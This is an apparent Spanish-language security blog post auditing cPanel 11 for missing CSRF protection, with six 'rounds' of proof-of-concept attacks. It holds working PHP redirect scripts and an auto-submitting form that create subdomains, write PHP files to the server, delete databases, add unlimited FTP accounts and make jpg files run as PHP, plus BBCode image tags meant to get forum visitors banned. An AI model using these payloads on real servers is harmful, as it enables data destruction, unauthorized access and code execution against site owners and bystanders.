Auditoría de seguridad a cPanel 11
Descripción:
cPanel (acrónimo de control Panel) es una herramienta de administración WEB administrar sitios de manera fácil. Actualmente es un sistema de pago y de código cerrado vulnerable a que cualquiera pueda encontrar bugs sin si quiera poder revisar su código fuente para que puedan ser reparadas oportunamente.
cPanel es uno de los sistemas mas utilizados en servidores de pago compartidos y resellers.
http://cpanel.demo.cpanel.net/login/?user=x3demob&pass=x3demob
Al ver que era un sistema tan utilizado pero a la ves tan descuidado en su seguridad me propuse comenzar esta auditoría de seguridad hacia cPanel 11 llamada “BugPanel 11″.
[Round 1] Creación arbitraria de subdominios
Si vamos a nuestro cpanel e intentamos crear un nuevo subdominio podemos ver dos detalles.
El primer detalle es que podemos transformar nuestras peticiones POST en GET asi que basta pasar las variables via GET para crear nuestro subdominio.
Vamos a nuestro cPanel a la sección:
http://ejemplo.com:2082/frontend/x3/subdomain/index.html
Ahora si creamos un subdominiop nos enviará hacia una página para verificar que realmente se creará el subdominio y al hacer click en aceptar veremos que se ha creado nuestro subdominio pero entre que le das aceptar y crear el dominio aparece un enlace como este:
http://ejemplo.com:2082/frontend/x3/subdomain/doadddomain.html?domain=subdominio&rootdomain=ejemplo.com&dir=public_html%2Fsubdominio&go=Create
Con este enlace ya podemos darnos cuenta del segundo detalle el cual es que no lleva token ni verificación de referencia (aunque no serviría tampoco) ni nada que pueda evitar un ataque del tipo CSRF.
Por lo tanto un atacante puede facilmente crear un enlace, imagen o lo que sea lo cual el administrador de ese panel pueda ser redireccionado hacia dicha vulnerabilidad y crear de forma arbitraria subdominios y directorios tal como este script de ejemplo:
<?php
/* Host vulnerable */
$dominio_vulnerable = 'ejemplo.com';
$cpanel_vulnerable = 'http://ejemplo.com:2082/';
$directorio_nuevo = 'cpwned';
$subdominio_nuevo = 'cpwned';
if($_SERVER['HTTP_REFERER']){header(
'location: '.
$cpanel_vulnerable.
'frontend/x3/subdomain/doadddomain.html?domain='.
urlencode($subdominio_nuevo).
'&rootdomain='.
urlencode($dominio_vulnerable).
'&dir=public_html%2F'.
urlencode($directorio_nuevo).
'&go=Create'
);
}else{
echo '<html><img src="http://i48.tinypic.com/1949he.jpg" /></html>';
}
?>
[Round 2] Creación arbitraria de archivos y código de ejecución arbitrario via PHP
Si vamos al administrador de archivos del cpanel encontraremos un hermoso filemanager en el cual nos permire observar todos los archivos del servidor, editar su contenido, borrarlos o cambiarles sus permisos.
Cuando va mos a la edición de un archivo y lo guardamos podremos darnos cuenta de que no envía token ni nada por lo tanto nuevamente nos damos cuenta que el filemanager contiene CSRF en modo POST.
Con estos datos ya podemos crear nuestra prueba de concepto:
<?php
/* Datos del host vulnerable */
$cpanel_vulnerable = 'http://ejemplo.com:2082/';
$archivo = 'cpwned.php';
$directorio = '/home/ejemplo/public_html/';
$payload = '<'.'?php phpinfo(); ?>';?>
<html>
<body>
Muestra de ejemplo.
<form method="post" action="<?php echo $cpanel_vulnerable; ?>frontend/x3/filemanager/savefile.html">
<input type="hidden" name="doubledecode" value="1" />
<input type="hidden" name="ufile" value="<?php echo $archivo; ?>" />
<input type="hidden" name="file" value="<?php echo $archivo; ?>" />
<input type="hidden" name="udir" value="<?php echo urldecode($directorio); ?>" />
<input type="hidden" name="dir" value="<?php echo urlencode($directorio); ?>" />
<input type="hidden" name="__cpanel__temp__charset__" value="us-ascii" />
<input type="hidden" name="path" value="<?php echo urldecode($directorio).$archivo; ?>" />
<input type="hidden" name="charset" value="us-ascii" />
<input type="hidden" name="page" value="<?php echo urlencode($payload); ?>" />
</form>
<script>
document.getElementsByTagName('form')[0].submit();
</script>
</body>
</html>
[Round 3] Eliminación arbitraria de bases de datos completas
Cuando vamos al gestor de bases de datos de MySQL:
http://www.ejemplo.com:2082/frontend/x3/sql/index.html
Podemos observar que al intentar eliminar una base de datos nos envía hacia una página que nos pregunta si realmente queremos eliminar nuestra base de datos, la sorpresa llega cuando vemos que el botón de aceptar nos lleva a un enlace sin protección ni token ni nada:
http://www.ejemplo.com:2082/frontend/x3/sql/deldb.html?db=ejemplo_basededatos
Llevandonos a la eliminación inminetne e irrecuperable de nuestra base de datos a menos que tengamos alguna backup por ahi.
Con esto ya podemos crear una prueba de cocepto donde un administrador puede ser redirigido desde alguna imagen, página, o lo que sea ejecutando esta acción de forma arbitraria:
<?php
/* Host vulnerable */
$cpanel_vulnerable = 'http://ejemplo.com:2082/';
$base_de_datos = 'empresa_productos';if($_SERVER['HTTP_REFERER']){
header(
'location: '.
$cpanel_vulnerable.
'frontend/x3/sql/deldb.html?db='.
urlencode($base_de_datos)
);
}else{
echo '<html><img src="http://i48.tinypic.com/1949he.jpg" /></html>';
}
?>
[Round 4] Creación arbitraria de cuentas FTP sin restricciones
Si vamos al gestor de cuentas FTP e intentamos crear una nueva cuenta sin restricciones podemos ver que pasa lo siguiente desde nuestro cliente de navegación hasta el servidor:
POST /frontend/x3/ftp/doaddftp.html HTTP/1.1
Host: www.ejemplo.com:2082
User-Agent: Mozilla/5.0 (X11; U; Linux i686; es-CL; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-cl,es;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: http://www.ejemplo.com:2082/frontend/x3/ftp/accounts_pure-ftpd.html
Cookie: cookies
Content-Type: application/x-www-form-urlencoded
Content-Length: 84login=cpwned&password=cpwned&password2=cpwned&homedir=public_html%2F"a=unlimited
Por lo tanto ya es evidente que no hay token y por lo tango podemos generar un CSRF pero si tomamos nuestras variables POST y las convertimos a GET vemos que funciona igual:
http://www.ejemplo.com:2082/frontend/x3/ftp/doaddftp.html?login=cpwned&password=cpwned&password2=cpwned&homedir=public_html%2F"a=unlimited
Asi que con estos datos ya estamos listos para hacer la prueba de concepto:
<?php
/* Host vulnerable */
$cpanel_vulnerable = 'http://ejemplo.com:2082/';if($_SERVER['HTTP_REFERER']){
header(
'location: '.
$cpanel_vulnerable.
'frontend/x3/ftp/doaddftp.html?login=cpwned&password=cpwned&'.
'password2=cpwned&homedir=public_html%2F"a=unlimited'.
urlencode($base_de_datos)
);
}else{
echo '<html><img src="http://i48.tinypic.com/1949he.jpg" /></html>';
}/* Se creará una cuenta ftp con el usuario cpwned y password cpwned ilimitada */
?>
[Round 5] Modificación arbitraria de Mimetypes de Apache Server
Maaaaammmboo!! huuuh!!!
Cuando vamos a modificar un tipo de contenido desde el gestor de mimetypes de cPanel:
http://www.ejemplo.com:2082/frontend/x3/mime/mime.html
Podemos ver que cuando agregamos un tipo de extensión no nos solicita ningún tipo de protección para evitar acciones arbitrarias y ni si quiera pasa via POST sino que lo hace via GET directamente.
Cuando creamos una nueva extensión vemos algo como esto:
http://www.ejemplo.com:2082/frontend/x3/mime/addmime.html?mimet=application%2Fandrew-inset&ext=lol&submit=Add
Por lo tanto basta con que el administrador del cpanel vea este enlace para agregarle mimetypes a su servidor.
Que tal un mimetype de tipo ocet/stream a php para descargarlos en ves de ejecutarlos? o archivos jpg y zips que se ejecutan con el handle de php?
Prueba de concepto:
<?php
/* Host vulnerable */
$cpanel_vulnerable = 'http://ejemplo.com:2082/';
$mimetype = 'application/x-httpd-php';
$extension = 'jpg';if($_SERVER['HTTP_REFERER']){
header(
'location: '.
$cpanel_vulnerable.
'frontend/x3/mime/addmime.html?mimet='.
urlencode($mimetype).
'&ext='.
urlencode($extension).
'&submit=Add'
);
}else{
echo '<html><img src="http://i48.tinypic.com/1949he.jpg" /></html>';
}/* Ahora los archivos .jpg son ejecutables de php
*/
?>
[Round 6] Baneo arbitrario de visitantes al host
Cuando intentas ingresar a tu cpanel desde la pagina principal:
http://www.ejemplo.com:2082/
Y fallas mas de 10 veces te banea 
y lo gracioso es que no te banea de cPanel sino de todo el servidor por lo tanto no puedes ingresar ni a la página que está alojada ni al ssh ni a ninguna parte a menos que cambies de ip.
Acá hay dos problemas, el rpimero es que la autentificación también se hace via WWW-Authenticate de apache o sea envío de headers.
cPanel procesa ete tipo de login pero no verifica los 10 intentos asi que podemos enviar peticiones GET a una imagen o a alguna sección sin protección enviando contraseña tras contraseña hasta lograr ingresar.
El otro problema es que el sistema de baneo aparentemente solo sirve para banear a tus visitas xD ya que el login del formulario se envía mediante una petición POST al servidor pero si la transformas a GET puedes hacer logueos arbitrarios debido a que no hay token ni nada referencial que impida un ataque CSRF, asi que la url de login quedaría masomenos así:
http://ejemplo.com:2082/login/?user=d&pass=d
Basta que alguien vea 10 veces ese enlace para quedar fuera de combate, asi que esto mismo se puede aprovechar por ejemplo para ponertelo de firma redireccionando la url como si fuera una imagen y de esa forma baneas a todos los que vean tus post en un foro.
Prueba de concepto para código bbc:
[img]http://ejemplo.com:2082/login/?user=x&pass=x[/img]
[img]http://ejemplo.com:2082/login/?user=x&pass=x[/img]
[img]http://ejemplo.com:2082/login/?user=x&pass=x[/img]
[img]http://ejemplo.com:2082/login/?user=x&pass=x[/img]
[img]http://ejemplo.com:2082/login/?user=x&pass=x[/img]
[img]http://ejemplo.com:2082/login/?user=x&pass=x[/img]
[img]http://ejemplo.com:2082/login/?user=x&pass=x[/img]
[img]http://ejemplo.com:2082/login/?user=x&pass=x[/img]
[img]http://ejemplo.com:2082/login/?user=x&pass=x[/img]
[img]http://ejemplo.com:2082/login/?user=x&pass=x[/img]
[img]http://ejemplo.com:2082/login/?user=x&pass=x[/img]
Si usas tinyurl te ahorras carácteres y puedes ir mostrando de a 5 en 5 para banear cada dos visualizaciones o cada dos post tuyos que vean.
Actualmente hay muchos foros con cpanel al descubierto :p
Y bueno… en resumidas palabras todo cPanel contiene CSRF por lo tanto se puede ejecutar cualquier tipo de acción arbitraria siempre y cuando pertenezca al software nativo de cPanel, no así con softwares de terceros como phpmyadmin.
Además gracias a que cPanel es un software de código errado nadie puede hacer parches o soluciones asi que por lo tanto no hay solución mas que sentarse a mirar a las aves volar mientras tanto que medio internet es vulnerable y no todos los hosting se van a querer actualizar a menos que den con bombo y platillos el anuncio oficial desde cpanel diciendo que es vulnerable.
Recordar que para que estos tipos de ataques puedan ejecutarse el administrador debe estar logueado y visualizar tu archivo que lo redireccionará.
¿Que sucede si la conexión va via ssl? ¿lo detendrá la verificación de certificado?
No porque gracias a cPanel las instalaciones por defecto siempre se hacen en dos puertos que son el 2082 y 2083 el cual uno es sin y con ssl respectivamente asi que no sirve de nada el certificado de seguridad si eres atacado de esta forma, pero…. si estoy logueado en mi cpanel con ssl no debería cambiar mi cookie?
La respuesta es no ya que cPanel no fuerza una cookie segura al explorador por lo tanto tu cookie de cpanel la llevas a todas partes del servidor independiente si estas en el cpanel con o sin ssl o en tu foro o en tu blog, web, portal o lo que sea y con tu cookie llevas también tu sesión lista para ser robada, capturada o sniffeada.
